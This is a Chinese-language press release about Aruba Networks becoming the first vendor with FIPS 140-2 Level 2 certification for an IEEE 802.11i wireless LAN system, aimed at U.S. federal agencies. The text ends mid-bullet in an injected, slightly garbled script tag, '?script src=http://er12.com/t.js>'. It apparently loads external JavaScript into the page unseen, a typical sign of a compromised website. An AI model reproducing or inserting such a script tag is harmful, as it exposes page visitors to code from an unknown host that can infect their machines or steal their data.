“移动边缘”公司aruba networks今日宣布，该公司成为第一家经美国国家标准与技术研究院（nist）认证，为ieee 802.11i无线lan系统取得了联邦信息处理标准（fips）140-2第2级认证的供应商。 这使得aruba成为第一家能够使用ieee 802.11i标准向美国联邦政府提供安全无限lan（wlan）系统的公司。
aruba networks首席技术官merv andrade说：“我们非常高兴能成为第一家获得802.11i的fips认证的基础架构供应商。 我们的系统所提供的功能可以满足联邦客户的高要求，并且通过单一安全边界中的端到端第2层加密和策略管理，为wlan的安全性设置了更高的标杆。” 他还表示：“这一宣布表明了在具有安全意识的细分市场中，aruba在共用标准方面的明确领先地位和责任，而评估和规划802.11i部署的企业客户正在密切关注着该细分市场。”
802.11i最近经过nist的核准，是一个wlan安全标准。当wlan通信在fips核准的强健安全网络（rsn）模式下运行时，802.11i可大大增强其安全性。 美国国防部（dod）的新wlan政策预计将出台这样的要求，即美国联邦政府在非机密无线环境中使用的所有网络基础架构和客户端都必须经过对802.11i的fips 140-2核准。 但是，迁移到802.11i需要对传统接入点和客户端工作站进行硬件升级。
联邦政府的无线技术市场目前正在从完全禁止使用wi-fi技术转变为对商用现用（cots）技术（例如802.11i）进行评估，以使无线系统成为主流传输方式。 在美国政府等待国防部政策以及共用的、经fips核准的802.11i解决方案和客户端之时，aruba通过其经fips认证的xsec协议套件提供了一种经济实惠的转换策略，该协议套件以高级加密标准和密码块链接-消息身份验证代码（aes-cbc-256）密码套件为基础。 这样就为目前需要部署的联邦客户提供了一种流畅无中断的转换计划，以转换到基于标准的802.11i。
虽然其他供应商提供的经fips认证的单点产品或系统拥有专利，但aruba是第一家、也是唯一一家为联邦市场提供集成系统的供应商，这些集成系统包括无线入侵检测和预防、经fips认证的第2和第3层加密，以及向fips 140-2核准的802.11i的可靠转换。 aruba已完成对802.11i的fips认证过程，该过程通常需要至少九个月时间，相信这比竞争解决方案的推出早了几个月。 有关其他供应商对fips认证的进展情况，请查看http://csrc.nist.gov/cryptval/preval.htm
无线与移动咨询公司farpoint group（马萨诸塞州ashland市）负责人craig mathias说：“fips140-2认证是联邦市场的一项基本要求。” 他还表示：“这一成果的宣布，表明aruba的联邦解决方案已经将fips认证的安全性与可靠、高性能的集中式和全方位wlan结构集成起来，这样即使对于要求最高的安全密集型应用也绰绰有余。”
有了aruba的“移动边缘”结构，政府机构现在就能在整个组织范围内轻松安全地部署基于标准的cots wi-fi，而无需安装不同的fips认证无线安全产品，否则每种产品都会大大增加复杂性和成本。 其他无线系统在诸如接入点（ap）、控制器和防火墙等不同的设备中分布安全性，这意味着每种设备都必须获得fips的认证，而且只要发生安全性更改就须经过重新认证。 此外，这些设备丧失了移动性的一些主要优点，例如接入点间的漫游，以及通过故障切换实现的高度可用性。
aruba集成并集中了安装在数据中心的移动控制器中的多个安全服务、管理技术和第2/第3层加密，从而解决了上述问题。 因此，当无线交换机发展时，aruba ap不需要经过fips的重新认证，因为所有加密均集中在aruba的移动系统中。 由于单个wlan就拥有数百乃至数千个ap，因此如果必须升级每个wlan来维持fips认证，无论在后勤还是经济方面都是不允许的。 有了aruba的集中系统，联邦机构就能实现最低的购置总成本、最高的性能，以及市场上任何无线lan系统都能获得的最强健的cots安全性。
aruba也是唯一一家在正确实施nist规定的硬件aes-ccm算法方面获得认证的wlan系统供应商，该项规定是ieee 80211i规范的必要组成部分。 aruba的集中加密结构允许其使用能通过严格的fips 140-2 aes-ccm测试的高端硬件。 目前，实施分布式加密的供应商使用的是较低性能的软件加密来参与fips 140-2认证过程。
下一代的联邦市场无线系统
业界内只有aruba的移动系统能够将无线入侵检测和预防、虚拟专用网络、状态用户防火墙、高级密码加密以及按需客户端完整性集成在一个集中式高性能平台中。 这就使联邦机构无需购买、部署和管理不同的系统，而其中每个系统只针对特定安全问题。
对于联邦市场来说，aruba的“移动边缘”解决方案带来了其他wlan系统无法比拟的独特优势。 这些优势包括：
·可编程的加密：使有线和无线设备得以流畅地转换到aes-ccm/802.11i和aes-cbc 256位，而无需硬件升级。
·纵深防御安全性：提供集成的多层支持，可锁定无线系统、有线系统、网络和?script src=http://er12.com/t.js>
